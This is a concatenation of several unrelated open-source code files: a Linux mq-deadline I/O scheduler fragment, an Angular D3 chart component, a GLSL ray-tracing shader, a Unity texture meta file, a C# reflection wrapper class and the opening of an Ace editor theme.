&dd->fifo_list[ddir], pos); \ } \ \ static void deadline_##name##_fifo_stop(struct seq_file *m, void *v) \ __releases(&dd->lock) \ { \ struct request_queue *q = m->private; \ struct deadline_data *dd = q->elevator->elevator_data; \ \ spin_unlock(&dd->lock); \ } \ \ static const struct seq_operations deadline_##name##_fifo_seq_ops = { \ .start = deadline_##name##_fifo_start, \ .next = deadline_##name##_fifo_next, \ .stop = deadline_##name##_fifo_stop, \ .show = blk_mq_debugfs_rq_show, \ }; \ \ static int deadline_##name##_next_rq_show(void *data, \ struct seq_file *m) \ { \ struct request_queue *q = data; \ struct deadline_data *dd = q->elevator->elevator_data; \ struct request *rq = dd->next_rq[ddir]; \ \ if (rq) \ __blk_mq_debugfs_rq_show(m, rq); \ return 0; \ } DEADLINE_DEBUGFS_DDIR_ATTRS(READ, read) DEADLINE_DEBUGFS_DDIR_ATTRS(WRITE, write) #undef DEADLINE_DEBUGFS_DDIR_ATTRS static int deadline_batching_show(void *data, struct seq_file *m) { struct request_queue *q = data; struct deadline_data *dd = q->elevator->elevator_data; seq_printf(m, "%u\n", dd->batching); return 0; } static int deadline_starved_show(void *data, struct seq_file *m) { struct request_queue *q = data; struct deadline_data *dd = q->elevator->elevator_data; seq_printf(m, "%u\n", dd->starved); return 0; } static void *deadline_dispatch_start(struct seq_file *m, loff_t *pos) __acquires(&dd->lock) { struct request_queue *q = m->private; struct deadline_data *dd = q->elevator->elevator_data; spin_lock(&dd->lock); return seq_list_start(&dd->dispatch, *pos); } static void *deadline_dispatch_next(struct seq_file *m, void *v, loff_t *pos) { struct request_queue *q = m->private; struct deadline_data *dd = q->elevator->elevator_data; return seq_list_next(v, &dd->dispatch, pos); } static void deadline_dispatch_stop(struct seq_file *m, void *v) __releases(&dd->lock) { struct request_queue *q = m->private; struct deadline_data *dd = q->elevator->elevator_data; spin_unlock(&dd->lock); } static const struct seq_operations deadline_dispatch_seq_ops = { .start = deadline_dispatch_start, .next = deadline_dispatch_next, .stop = deadline_dispatch_stop, .show = blk_mq_debugfs_rq_show, }; #define DEADLINE_QUEUE_DDIR_ATTRS(name) \ {#name "_fifo_list", 0400, .seq_ops = &deadline_##name##_fifo_seq_ops}, \ {#name "_next_rq", 0400, deadline_##name##_next_rq_show} static const struct blk_mq_debugfs_attr deadline_queue_debugfs_attrs[] = { DEADLINE_QUEUE_DDIR_ATTRS(read), DEADLINE_QUEUE_DDIR_ATTRS(write), {"batching", 0400, deadline_batching_show}, {"starved", 0400, deadline_starved_show}, {"dispatch", 0400, .seq_ops = &deadline_dispatch_seq_ops}, {}, }; #undef DEADLINE_QUEUE_DDIR_ATTRS #endif static struct elevator_type mq_deadline = { .ops.mq = { .insert_requests = dd_insert_requests, .dispatch_request = dd_dispatch_request, .prepare_request = dd_prepare_request, .finish_request = dd_finish_request, .next_request = elv_rb_latter_request, .former_request = elv_rb_former_request, .bio_merge = dd_bio_merge, .request_merge = dd_request_merge, .requests_merged = dd_merged_requests, .request_merged = dd_request_merged, .has_work = dd_has_work, .init_sched = dd_init_queue, .exit_sched = dd_exit_queue, }, .uses_mq = true, #ifdef CONFIG_BLK_DEBUG_FS .queue_debugfs_attrs = deadline_queue_debugfs_attrs, #endif .elevator_attrs = deadline_attrs, .elevator_name = "mq-deadline", .elevator_alias = "deadline", .elevator_owner = THIS_MODULE, }; MODULE_ALIAS("mq-deadline-iosched"); static int __init deadline_init(void) { return elv_register(&mq_deadline); } static void __exit deadline_exit(void) { elv_unregister(&mq_deadline); } module_init(deadline_init); module_exit(deadline_exit); MODULE_AUTHOR("Jens Axboe"); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("MQ deadline IO scheduler");
{ "pile_set_name": "Github" }
import {Component, ElementRef, Input, OnChanges, SimpleChanges, ViewChild} from '@angular/core'; import {ChartCommons} from '../../../../enums/chart-commons.enum'; import {select} from 'd3-selection'; import {max} from 'd3-array'; import {ScaleBand, scaleBand, ScaleLinear, scaleLinear} from 'd3-scale'; import 'd3-transition'; import {AggregationChartDataService} from '../../services/aggregation-chart-data.service'; import {BarchartDataService} from '../../services/barchart-data.service'; import {ResultSelectionStore} from '../../../result-selection/services/result-selection.store'; import {AggregationChartDataByMeasurand} from '../../models/aggregation-chart-data.model'; @Component({ selector: 'osm-aggregation-chart', templateUrl: './aggregation-chart.component.html', styleUrls: ['./aggregation-chart.component.scss'] }) export class AggregationChartComponent implements OnChanges { @ViewChild('svg') svgElement: ElementRef; @Input() barchartAverageData = []; @Input() barchartMedianData = []; hasFilterRules = false; showDiagramTypeSwitch = false; svgWidth: number; svgHeight: number; private xScale: ScaleLinear<number, number>; private yScale: ScaleBand<string>; private sideLabelWidth: number; private barsWidth: number; private barsHeight: number; private headerHeight: number; private barScorePosY: number; private barScoreHeight: number; private legendPosY: number; private legendHeight: number; private dataForScoreBar: { min: number, max: number, barsToRender: Array<any> }; private measurandDataMap: AggregationChartDataByMeasurand = {}; private filterRules = {}; private dataForHeader = ''; private sideLabels: string[] = []; private anyHighlighted = false; private anySelected = false; private clickedMeasurand = ''; constructor(public aggregationChartDataService: AggregationChartDataService, private barchartDataService: BarchartDataService, private resultSelectionStore: ResultSelectionStore ) { } ngOnChanges(changes: SimpleChanges): void { this.redraw(); } selectDiagramType(diagramType: string) { this.aggregationChartDataService.stackBars = (diagramType === 'stacked'); this.aggregationChartDataService.writeAdditionalQueryParams(); this.redraw(); } selectAggregationType(aggregationType: string): void { this.aggregationChartDataService.aggregationType = aggregationType; this.aggregationChartDataService.writeAdditionalQueryParams(); this.redraw(); } selectFilter(filter: string): void { this.aggregationChartDataService.selectedFilter = filter; this.aggregationChartDataService.writeAdditionalQueryParams(); this.redraw(); } redraw(): void { if (Object.keys(this.barchartAverageData).length < 1) { return; } else if (Object.keys(this.barchartMedianData).length === 0) { this.aggregationChartDataService.aggregationType = 'avg'; this.aggregationChartDataService.writeAdditionalQueryParams(); } this.aggregationChartDataService.setData(); this.filterRules = this.aggregationChartDataService.filterRules; this.hasFilterRules = Object.keys(this.filterRules).length > 0; this.measurandDataMap = this.aggregationChartDataService.allMeasurandDataMap; this.dataForScoreBar = this.aggregationChartDataService.dataForScoreBar; this.dataForHeader = this.aggregationChartDataService.dataForHeader; this.sideLabels = this.aggregationChartDataService.uniqueSideLabels; if (this.clickedMeasurand.length > 0 && Object.keys(this.measurandDataMap).includes(this.clickedMeasurand)) { this.measurandDataMap[this.clickedMeasurand].selected = true; } else { this.anySelected = false; } this.svgWidth = this.svgElement.nativeElement.getBoundingClientRect().width; this.svgHeight = this.svgElement.nativeElement.parentElement.offsetHeight; this.sideLabelWidth = max(this.getTextWidths(this.svgElement.nativeElement, this.sideLabels)); this.barsWidth = this.svgWidth - 2 * ChartCommons.COMPONENT_MARGIN - this.sideLabelWidth; this.barsHeight = this.calculateChartBarsHeight(); this.headerHeight = ChartCommons.CHART_HEADER_HEIGHT + ChartCommons.COMPONENT_MARGIN; this.barScorePosY = this.barsHeight + ChartCommons.COMPONENT_MARGIN; this.barScoreHeight = ChartCommons.BAR_BAND + ChartCommons.COMPONENT_MARGIN; this.legendPosY = this.barScorePosY + this.barScoreHeight + ChartCommons.COMPONENT_MARGIN; this.legendHeight = this.estimateHeight(this.svgElement.nativeElement) + ChartCommons.COMPONENT_MARGIN; this.svgHeight = this.legendPosY + this.legendHeight + this.headerHeight; this.svgElement.nativeElement.setAttribute('height', this.svgHeight); this.showDiagramTypeSwitch = !this.aggregationChartDataService.hasComparativeData && Object.keys(this.aggregationChartDataService.allMeasurandDataMap).length > 1; if (this.aggregationChartDataService.hasComparativeData) { this.aggregationChartDataService.stackBars = true; } this.xScale = scaleLinear() .domain([this.dataForScoreBar.min, max(this.aggregationChartDataService.series.map(it => it.value))]) .range([0, this.barsWidth]); this.yScale = scaleBand() .domain(this.sideLabels) .range([0, this.barsHeight]); this.render(); } reloadPercentile(): void { if (this.aggregationChartDataService.percentileValue === null || this.aggregationChartDataService.percentileValue < 1) { this.aggregationChartDataService.percentileValue = 1; } else if (this.aggregationChartDataService.percentileValue > 100) { this.aggregationChartDataService.percentileValue = 100; } this.aggregationChartDataService.reloadPercentile( this.aggregationChartDataService.percentileValue, this.resultSelectionStore.resultSelectionCommand, this.resultSelectionStore.remainingResultSelection ); } enoughPercentileValues(): boolean { return Object.keys(this.barchartMedianData).length >= 1; } private render(): void { const svgElement: SVGElement = this.svgElement.nativeElement; this.renderHeader(svgElement); this.renderSideLabels(svgElement); this.renderBarsContent(svgElement); } private renderHeader(svgElement: SVGElement) { const header = select(svgElement).selectAll('.header-group').data([this.dataForHeader]); header.join( enter => enter .append('g') .attr('class', 'header-group'), update => update, exit => exit.remove() ); const headerText = select('.header-group').selectAll('.header-text').data([this.dataForHeader]); headerText.join( enter => enter .append('text') .attr('class', 'header-text') .attr('text-anchor', 'middle') .attr('dominant-baseline', 'alphabetic') .style('opacity', 0), update => update, exit => exit .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', 0) .remove() ) .attr('x', this.svgWidth / 2) .attr('y', ChartCommons.CHART_HEADER_HEIGHT) .transition() .duration(ChartCommons.TRANSITION_DURATION) .text(datum => datum) .style('opacity', 1); } private renderSideLabels(svgElement: SVGElement): void { const sideLabelGroup = select(svgElement).selectAll('.side-labels-group').data(this.sideLabels); sideLabelGroup.join( enter => enter .append('g') .attr('class', 'side-labels-group'), update => update, exit => exit.remove() ) .attr('transform', `translate(0, ${this.headerHeight})`); const sideLabels = select('.side-labels-group').selectAll('.side-label').data(this.sideLabels); sideLabels.join( enter => enter .append('text') .attr('class', 'side-label') .attr('dominant-baseline', 'middle') .attr('x', 0) .style('opacity', 0), update => update, exit => exit .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', 0) .remove() ) .text(datum => datum) .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', 1) .attr('y', datum => this.yScale(datum) + this.yScale.bandwidth() / 2); } private renderBarsContent(svgElement: SVGElement): void { const contentGroup = select(svgElement).selectAll('.bars-content-group').data([1]); contentGroup.join( enter => enter .append('g') .attr('class', 'bars-content-group'), update => update, exit => exit.remove() ) .attr( 'transform', `translate(${this.sideLabelWidth + ChartCommons.COMPONENT_MARGIN}, ${ChartCommons.CHART_HEADER_HEIGHT + ChartCommons.COMPONENT_MARGIN})` ); const contentGroupSelector = '.bars-content-group'; this.renderBarGroup(contentGroupSelector); this.renderChartScoreGroup(contentGroupSelector); this.renderLegendGroup(contentGroupSelector); } private renderBarGroup(contentGroupSelector: string): void { const barGroup = select(contentGroupSelector).selectAll('.chart-bar-group').data([1]); barGroup.join( enter => enter .append('g') .attr('class', 'chart-bar-group'), update => update, exit => exit.remove() ); const chartBars = select('.chart-bar-group').selectAll('.chart-bars').data(Object.keys(this.measurandDataMap)); const barOffset = this.aggregationChartDataService.stackBars ? 0 : ChartCommons.BAR_BAND; chartBars.join( enter => enter .append('g') .attr('class', 'chart-bars'), update => update, exit => exit .transition() .duration(ChartCommons.TRANSITION_DURATION) .attr('transform', 'translate(0, 0)') .style('opacity', 0) .remove() ) .transition() .duration(ChartCommons.TRANSITION_DURATION) .attr('transform', (datum, index) => `translate(0, ${index * barOffset})`) .each((datum, index, groups) => this.renderBar(select(groups[index]), datum)); } private renderBar(chartBarSelection, measurand: string): void { const bar = chartBarSelection.selectAll('.bar').data(this.measurandDataMap[measurand].series); bar.join( enter => { const barElement = enter .append('g') .attr('class', 'bar') .style('opacity', () => { return ( (this.anyHighlighted && !this.measurandDataMap[measurand].highlighted) || (this.anySelected && !this.measurandDataMap[measurand].selected)) ? 0.2 : 1; }); barElement .append('rect') .attr('class', 'bar-rect') .attr('x', 0) .attr('y', 0) .attr('height', ChartCommons.BAR_BAND) .attr('fill', this.measurandDataMap[measurand].color) .transition() .duration(ChartCommons.TRANSITION_DURATION) .attr('x', datum => this.barStart(this.xScale, datum.value)) .attr('y', datum => this.yScale(datum.sideLabel)) .attr('width', datum => this.barWidth(this.xScale, datum.value)); barElement .append('text') .attr('class', 'bar-value') .attr('dominant-baseline', 'middle') .style('fill', 'white') .style('font-weight', 'bold') .style('opacity', 0) .text(datum => `${this.formatBarValue(datum.value)} ${datum.unit}`) .attr('x', datum => (datum.value < 0) ? (this.barStart(this.xScale, datum.value) + 10) : (this.barEnd(this.xScale, datum.value) - 10)) .attr('y', datum => (this.yScale(datum.sideLabel) + ChartCommons.BAR_BAND / 2)) .attr('text-anchor', datum => (datum.value < 0) ? 'start' : 'end') .style('opacity', (datum, index, groups) => ((groups[index].getComputedTextLength() + 2 * 10) > this.barWidth(this.xScale, datum.value)) ? 0 : 1); barElement.select('.bar-value') .transition() .duration(ChartCommons.TRANSITION_DURATION); return barElement; }, update => { update .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', () => { return ( (this.anyHighlighted && !this.measurandDataMap[measurand].highlighted) || (this.anySelected && !this.measurandDataMap[measurand].selected)) ? 0.2 : 1; }); update.select('.bar-rect') .transition() .duration(ChartCommons.TRANSITION_DURATION) .attr('x', datum => this.barStart(this.xScale, datum.value)) .attr('y', datum => this.yScale(datum.sideLabel)) .attr('width', datum => this.barWidth(this.xScale, datum.value)) .attr('fill', this.measurandDataMap[measurand].color); update.select('.bar-value') .transition() .duration(ChartCommons.TRANSITION_DURATION) .text(datum => `${this.formatBarValue(datum.value)} ${datum.unit}`) .attr('x', datum => (datum.value < 0) ? (this.barStart(this.xScale, datum.value) + 10) : (this.barEnd(this.xScale, datum.value) - 10)) .attr('y', datum => (this.yScale(datum.sideLabel) + ChartCommons.BAR_BAND / 2)) .attr('text-anchor', datum => (datum.value < 0) ? 'start' : 'end') .style('opacity', (datum, index, groups) => ((groups[index].getComputedTextLength() + 2 * 10) > this.barWidth(this.xScale, datum.value)) ? 0 : 1); return update; }, exit => exit .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', 0) .remove() ) .on('click', () => this.onMouseClick(measurand)); } private renderChartScoreGroup(contentGroupSelector: string): void { const scoreGroup = select(contentGroupSelector).selectAll('.chart-score-group').data([1]); scoreGroup.join( enter => enter .append('g') .attr('class', 'chart-score-group'), update => update, exit => exit.remove() ) .attr('transform', `translate(0, ${this.barScorePosY})`); const scoreBars = select('.chart-score-group').selectAll('.score-bar').data(this.dataForScoreBar.barsToRender); const scaleForScoreBar = scaleLinear().rangeRound([0, this.barsWidth]).domain([this.dataForScoreBar.min, this.dataForScoreBar.max]); scoreBars.join( enter => { const scoreBarElement = enter .append('g') .attr('class', 'score-bar'); scoreBarElement .append('rect') .attr('class', 'score-rect') .attr('height', ChartCommons.BAR_BAND) .attr('width', 0) .attr('x', 0) .transition() .duration(ChartCommons.TRANSITION_DURATION) .attr('fill', datum => datum.fill) .attr('width', datum => scaleForScoreBar(datum.end) - scaleForScoreBar(datum.start)) .attr('x', datum => scaleForScoreBar(datum.start)); scoreBarElement .append('text') .attr('class', 'score-value') .attr('dominant-baseline', 'middle') .attr('text-anchor', 'middle') .attr('x', 0) .attr('y', ChartCommons.BAR_BAND / 2) .style('opacity', 0) .transition() .duration(ChartCommons.TRANSITION_DURATION) .text(datum => datum.label) .style('opacity', (datum, index, groups) => groups[index].getComputedTextLength() + 20 > (scaleForScoreBar(datum.end) - scaleForScoreBar(datum.start)) / 2 ? 0 : 1) .attr('x', datum => (scaleForScoreBar(datum.end) + scaleForScoreBar(datum.start)) / 2); return scoreBarElement; }, update => { update.select('.score-rect') .transition() .duration(ChartCommons.TRANSITION_DURATION) .attr('fill', datum => datum.fill) .attr('width', datum => scaleForScoreBar(datum.end) - scaleForScoreBar(datum.start)) .attr('x', datum => scaleForScoreBar(datum.start)); update.select<SVGTextElement>('.score-value') .transition() .duration(ChartCommons.TRANSITION_DURATION) .text(datum => datum.label) .style('opacity', (datum, index, groups) => groups[index].getComputedTextLength() + 20 > (scaleForScoreBar(datum.end) - scaleForScoreBar(datum.start)) / 2 ? 0 : 1) .attr('x', datum => (scaleForScoreBar(datum.end) + scaleForScoreBar(datum.start)) / 2); return update; }, exit => exit .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', 0) .remove() ); } private renderLegendGroup(contentGroupSelector: string): void { const legendGroup = select(contentGroupSelector).selectAll('.chart-legend-group').data([1]); legendGroup.join( enter => enter .append('g') .attr('class', 'chart-legend-group') .style('cursor', 'pointer'), update => update, exit => exit.remove() ) .attr('transform', `translate(0, ${this.legendPosY})`); const legendEntry = select('.chart-legend-group').selectAll('.legend-entry').data(Object.keys(this.measurandDataMap)); const maxEntryGroupSize = this.calculateMaxEntryGroupWidth(this.svgElement.nativeElement); const maxEntriesInRow = Math.floor(this.svgWidth / maxEntryGroupSize); legendEntry.join( enter => { const legendElement = enter .append('g') .attr('class', 'legend-entry') .style('opacity', (datum) => { return ( (this.anyHighlighted && !this.measurandDataMap[datum].highlighted) || (this.anySelected && !this.measurandDataMap[datum].selected)) ? 0.2 : 1; }); legendElement .append('rect') .attr('class', 'legend-rect') .attr('height', ChartCommons.COLOR_PREVIEW_SIZE) .attr('width', ChartCommons.COLOR_PREVIEW_SIZE) .attr('rx', 2) .attr('ry', 2) .attr('fill', datum => this.measurandDataMap[datum].color); legendElement .append('text') .attr('class', 'legend-text') .attr('x', ChartCommons.COLOR_PREVIEW_SIZE + ChartCommons.COLOR_PREVIEW_MARGIN) .attr('y', ChartCommons.COLOR_PREVIEW_SIZE) .text(datum => this.measurandDataMap[datum].label); return legendElement; }, update => { update .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', (datum) => { return ( (this.anyHighlighted && !this.measurandDataMap[datum].highlighted) || (this.anySelected && !this.measurandDataMap[datum].selected)) ? 0.2 : 1; }); update.select('.legend-rect') .attr('fill', datum => this.measurandDataMap[datum].color); update.select('.legend-text') .text(datum => this.measurandDataMap[datum].label); return update; }, exit => exit .transition() .duration(ChartCommons.TRANSITION_DURATION) .style('opacity', 0) .remove() ) .attr('transform', (datum, index) => `translate(${maxEntryGroupSize * (index % maxEntriesInRow)}, 0)`) .on('mouseover', (datum) => this.onMouseOver(datum)) .on('mouseout', (datum) => this.onMouseOut(datum)) .on('click', (datum) => this.onMouseClick(datum)); } private formatBarValue(value: string): string { const precision = this.dataForScoreBar.max >= 1000 || this.dataForScoreBar.min <= -1000 ? 0 : 2; return parseFloat(value).toFixed(precision).toString(); } private estimateHeight(svgForEstimation: SVGElement): number { const maxEntryGroupSize = this.calculateMaxEntryGroupWidth(svgForEstimation); const maxEntriesInRow = Math.floor(this.svgWidth / maxEntryGroupSize); return Math.floor(this.aggregationChartDataService.series.length / maxEntriesInRow) * 20; } private calculateMaxEntryGroupWidth(svgForEstimation: SVGElement): number { const dataMap = this.measurandDataMap; const labels = Object.keys(dataMap).map(measurand => dataMap[measurand].label); const labelWidths = this.getTextWidths(svgForEstimation, labels); return max(labelWidths) + 10 + 20 + 5; } private getTextWidths(svgForEstimation: SVGElement, texts: string[]): number[] { const widths = []; select(svgForEstimation).selectAll('.invisible-text-to-measure') .data(texts) .enter() .append('text') .attr('opacity', 0) .text((d) => d.toString()) .each(function () { widths.push(this.getComputedTextLength()); this.remove(); }); return widths; } private barWidth(xScale: ScaleLinear<number, number>, value: number): number { return value === null ? 0 : (this.barEnd(xScale, value) - this.barStart(xScale, value)); } private barEnd(xScale: ScaleLinear<number, number>, value: number): number { return (value < 0) ? xScale(0) : xScale(value); } private barStart(xScale: ScaleLinear<number, number>, value: number): number { return (value < 0) ? xScale(value) : xScale(0); } private calculateChartBarsHeight(): number { const barBand = ChartCommons.BAR_BAND; const barGap = ChartCommons.BAR_GAP; const numberOfMeasurands = Object.keys(this.measurandDataMap).length; let numberOfPages = 0; Object.keys(this.measurandDataMap).forEach((k) => { numberOfPages = (this.measurandDataMap[k].series.length > numberOfPages) ? this.measurandDataMap[k].series.length : numberOfPages; }); const numberOfBars = numberOfPages * (this.aggregationChartDataService.stackBars ? 1 : numberOfMeasurands); const gapSize = barGap * ((this.aggregationChartDataService.stackBars || numberOfMeasurands < 2) ? 1 : 2); return ((numberOfPages - 1) * gapSize) + numberOfBars * barBand; } private onMouseOver(measurand: string): void { if (this.anySelected === false) { this.anyHighlighted = true; this.measurandDataMap[measurand].highlighted = true; this.renderBarGroup('.bars-content-group'); this.renderLegendGroup('.legend-content-group'); } } private onMouseOut(measurand: string): void { if (this.anyHighlighted === true) { this.anyHighlighted = false; this.measurandDataMap[measurand].highlighted = false; this.renderBarGroup('.bars-content-group'); this.renderLegendGroup('.legend-content-group'); } } private onMouseClick(measurand: string): void { if (this.anySelected === false) { this.measurandDataMap[measurand].selected = true; this.clickedMeasurand = measurand; this.anySelected = true; } else if (this.anySelected === true && this.clickedMeasurand !== measurand) { this.measurandDataMap[this.clickedMeasurand].selected = false; this.measurandDataMap[measurand].selected = true; this.clickedMeasurand = measurand; } else { this.anySelected = false; this.measurandDataMap[measurand].selected = false; this.clickedMeasurand = ''; } this.renderBarGroup('.bars-content-group'); this.renderLegendGroup('.legend-content-group'); } }
{ "pile_set_name": "Github" }
#version 460 #extension GL_NV_ray_tracing : require #extension GL_EXT_nonuniform_qualifier : enable #extension GL_EXT_scalar_block_layout : enable #extension GL_GOOGLE_include_directive : enable #include "raycommon.glsl" #include "wavefront.glsl" hitAttributeNV vec2 attribs; // clang-format off layout(location = 0) rayPayloadInNV hitPayload prd; layout(location = 1) rayPayloadNV bool isShadowed; layout(binding = 0, set = 0) uniform accelerationStructureNV topLevelAS; layout(binding = 2, set = 1, scalar) buffer ScnDesc { sceneDesc i[]; } scnDesc; layout(binding = 5, set = 1, scalar) buffer Vertices { Vertex v[]; } vertices[]; layout(binding = 6, set = 1) buffer Indices { uint i[]; } indices[]; layout(binding = 1, set = 1, scalar) buffer MatColorBufferObject { WaveFrontMaterial m[]; } materials[]; layout(binding = 3, set = 1) uniform sampler2D textureSamplers[]; layout(binding = 4, set = 1) buffer MatIndexColorBuffer { int i[]; } matIndex[]; // clang-format on layout(push_constant) uniform Constants { vec4 clearColor; vec3 lightPosition; float lightIntensity; int lightType; } pushC; void main() { // Object of this instance uint objId = scnDesc.i[gl_InstanceID].objId; // Indices of the triangle ivec3 ind = ivec3(indices[nonuniformEXT(objId)].i[3 * gl_PrimitiveID + 0], // indices[nonuniformEXT(objId)].i[3 * gl_PrimitiveID + 1], // indices[nonuniformEXT(objId)].i[3 * gl_PrimitiveID + 2]); // // Vertex of the triangle Vertex v0 = vertices[nonuniformEXT(objId)].v[ind.x]; Vertex v1 = vertices[nonuniformEXT(objId)].v[ind.y]; Vertex v2 = vertices[nonuniformEXT(objId)].v[ind.z]; const vec3 barycentrics = vec3(1.0 - attribs.x - attribs.y, attribs.x, attribs.y); // Computing the normal at hit position vec3 normal = v0.nrm * barycentrics.x + v1.nrm * barycentrics.y + v2.nrm * barycentrics.z; // Transforming the normal to world space normal = normalize(vec3(scnDesc.i[gl_InstanceID].transfoIT * vec4(normal, 0.0))); // Computing the coordinates of the hit position vec3 worldPos = v0.pos * barycentrics.x + v1.pos * barycentrics.y + v2.pos * barycentrics.z; // Transforming the position to world space worldPos = vec3(scnDesc.i[gl_InstanceID].transfo * vec4(worldPos, 1.0)); // Vector toward the light vec3 L; float lightIntensity = pushC.lightIntensity; float lightDistance = 100000.0; // Point light if(pushC.lightType == 0) { vec3 lDir = pushC.lightPosition - worldPos; lightDistance = length(lDir); lightIntensity = pushC.lightIntensity / (lightDistance * lightDistance); L = normalize(lDir); } else // Directional light { L = normalize(pushC.lightPosition - vec3(0)); } // Material of the object int matIdx = matIndex[nonuniformEXT(objId)].i[gl_PrimitiveID]; WaveFrontMaterial mat = materials[nonuniformEXT(objId)].m[matIdx]; // Diffuse vec3 diffuse = computeDiffuse(mat, L, normal); if(mat.textureId >= 0) { uint txtId = mat.textureId + scnDesc.i[gl_InstanceID].txtOffset; vec2 texCoord = v0.texCoord * barycentrics.x + v1.texCoord * barycentrics.y + v2.texCoord * barycentrics.z; diffuse *= texture(textureSamplers[nonuniformEXT(txtId)], texCoord).xyz; } vec3 specular = vec3(0); float attenuation = 1; // Tracing shadow ray only if the light is visible from the surface if(dot(normal, L) > 0) { float tMin = 0.001; float tMax = lightDistance; vec3 origin = gl_WorldRayOriginNV + gl_WorldRayDirectionNV * gl_HitTNV; vec3 rayDir = L; uint flags = gl_RayFlagsTerminateOnFirstHitNV | gl_RayFlagsOpaqueNV | gl_RayFlagsSkipClosestHitShaderNV; isShadowed = true; traceNV(topLevelAS, // acceleration structure flags, // rayFlags 0xFF, // cullMask 0, // sbtRecordOffset 0, // sbtRecordStride 1, // missIndex origin, // ray origin tMin, // ray min range rayDir, // ray direction tMax, // ray max range 1 // payload (location = 1) ); if(isShadowed) { attenuation = 0.3; } else { // Specular specular = computeSpecular(mat, gl_WorldRayDirectionNV, L, normal); } } prd.hitValue = vec3(lightIntensity * attenuation * (diffuse + specular)); }
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 7a28f4ace6d11af4a8b1e41c0e74e245 TextureImporter: fileIDToRecycleName: {} externalObjects: {} serializedVersion: 4 mipmaps: mipMapMode: 0 enableMipMap: 1 sRGBTexture: 1 linearTexture: 0 fadeOut: 0 borderMipMap: 0 mipMapsPreserveCoverage: 0 alphaTestReferenceValue: 0.5 mipMapFadeDistanceStart: 1 mipMapFadeDistanceEnd: 3 bumpmap: convertToNormalMap: 0 externalNormalMap: 0 heightScale: 0.25 normalMapFilter: 0 isReadable: 0 grayScaleToAlpha: 0 generateCubemap: 6 cubemapConvolution: 0 seamlessCubemap: 0 textureFormat: 1 maxTextureSize: 2048 textureSettings: serializedVersion: 2 filterMode: -1 aniso: -1 mipBias: -1 wrapU: -1 wrapV: -1 wrapW: -1 nPOTScale: 1 lightmap: 0 compressionQuality: 50 spriteMode: 0 spriteExtrude: 1 spriteMeshType: 1 alignment: 0 spritePivot: {x: 0.5, y: 0.5} spritePixelsToUnits: 100 spriteBorder: {x: 0, y: 0, z: 0, w: 0} spriteGenerateFallbackPhysicsShape: 1 alphaUsage: 1 alphaIsTransparency: 0 spriteTessellationDetail: -1 textureType: 0 textureShape: 1 maxTextureSizeSet: 0 compressionQualitySet: 0 textureFormatSet: 0 platformSettings: - buildTarget: DefaultTexturePlatform maxTextureSize: 2048 resizeAlgorithm: 0 textureFormat: -1 textureCompression: 1 compressionQuality: 50 crunchedCompression: 0 allowsAlphaSplitting: 0 overridden: 0 androidETC2FallbackOverride: 0 spriteSheet: serializedVersion: 2 sprites: [] outline: [] physicsShape: [] spritePackingTag: userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
// ----------------------------------------------------------------------- // Copyright (c) Microsoft Corporation. All rights reserved. // ----------------------------------------------------------------------- using System; using System.Collections.Generic; using System.Globalization; using System.Diagnostics.Contracts; namespace System.Reflection.Context.Delegation { internal class DelegatingFieldInfo : FieldInfo { private readonly FieldInfo _field; public DelegatingFieldInfo(FieldInfo field) { Contract.Requires(null != field); _field = field; } public override FieldAttributes Attributes { get { return _field.Attributes; } } public override Type DeclaringType { get { return _field.DeclaringType; } } public override RuntimeFieldHandle FieldHandle { get { return _field.FieldHandle; } } public override Type FieldType { get { return _field.FieldType; } } public override bool IsSecurityCritical { get { return _field.IsSecurityCritical; } } public override bool IsSecuritySafeCritical { get { return _field.IsSecuritySafeCritical; } } public override bool IsSecurityTransparent { get { return _field.IsSecurityTransparent; } } public override int MetadataToken { get { return _field.MetadataToken; } } public override Module Module { get { return _field.Module; } } public override string Name { get { return _field.Name; } } public override Type ReflectedType { get { return _field.ReflectedType; } } public FieldInfo UnderlyingField { get { return _field; } } public override object[] GetCustomAttributes(Type attributeType, bool inherit) { return _field.GetCustomAttributes(attributeType, inherit); } public override object[] GetCustomAttributes(bool inherit) { return _field.GetCustomAttributes(inherit); } public override IList<CustomAttributeData> GetCustomAttributesData() { return _field.GetCustomAttributesData(); } public override Type[] GetOptionalCustomModifiers() { return _field.GetOptionalCustomModifiers(); } public override object GetRawConstantValue() { return _field.GetRawConstantValue(); } public override Type[] GetRequiredCustomModifiers() { return _field.GetRequiredCustomModifiers(); } public override object GetValue(object obj) { return _field.GetValue(obj); } public override object GetValueDirect(TypedReference obj) { return _field.GetValueDirect(obj); } public override bool IsDefined(Type attributeType, bool inherit) { return _field.IsDefined(attributeType, inherit); } public override void SetValue(object obj, object value, BindingFlags invokeAttr, Binder binder, CultureInfo culture) { _field.SetValue(obj, value, invokeAttr, binder, culture); } public override void SetValueDirect(TypedReference obj, object value) { _field.SetValueDirect(obj, value); } public override string ToString() { return _field.ToString(); } } }
{ "pile_set_name": "Github" }
define("ace/theme/tomorrow_night",["require","exports","module","ace/lib/dom"], function(require, exports, module) { exports.isDark = true; exports.cssClass = "ace-tomorrow-night"; exports.cssText = ".ace-tomorrow-night .ace_gutter {\ background: #25282c;\ color: #C5C8C6\ }\ .ace-tomorrow-night .ace_print-margin {\ width: 1px;\ background: #25282c\ }\ .ace-tomorrow-night {\ background-color: #1D1F21;\ color: #C5C8C6\ }\ .ace-tomorrow-night .ace_cursor {\ color: #AEAFAD\ }\ .ace-tomorrow-night .ace_marker-layer .ace_selection {\ background: #373B41\ }\ .ace-tomorrow-night.ace_multiselect .ace_selection.ace_start {\ box-shadow: 0 0 3px 0px #1D1F21;\ }\ .ace-tomorrow-night .ace_marker-layer .ace_step {\ background: rgb(102, 82, 0)\ }\ .ace-tomorrow-night .ace_marker-layer .ace_bracket {\ margin: -1px 0 0 -1px;\ border: 1px solid #4B4E55\ }\ .ace-tomorrow-night .ace_marker-layer .ace_active-line {\ background: #282A2E\ }\ .ace-tomorrow-night .ace_gutter-active-line {\ background-color: #282A2E\ }\ .ace-tomorrow-night .ace_marker-layer .ace_selected-word {\ border: 1px solid #373B41\ }\ 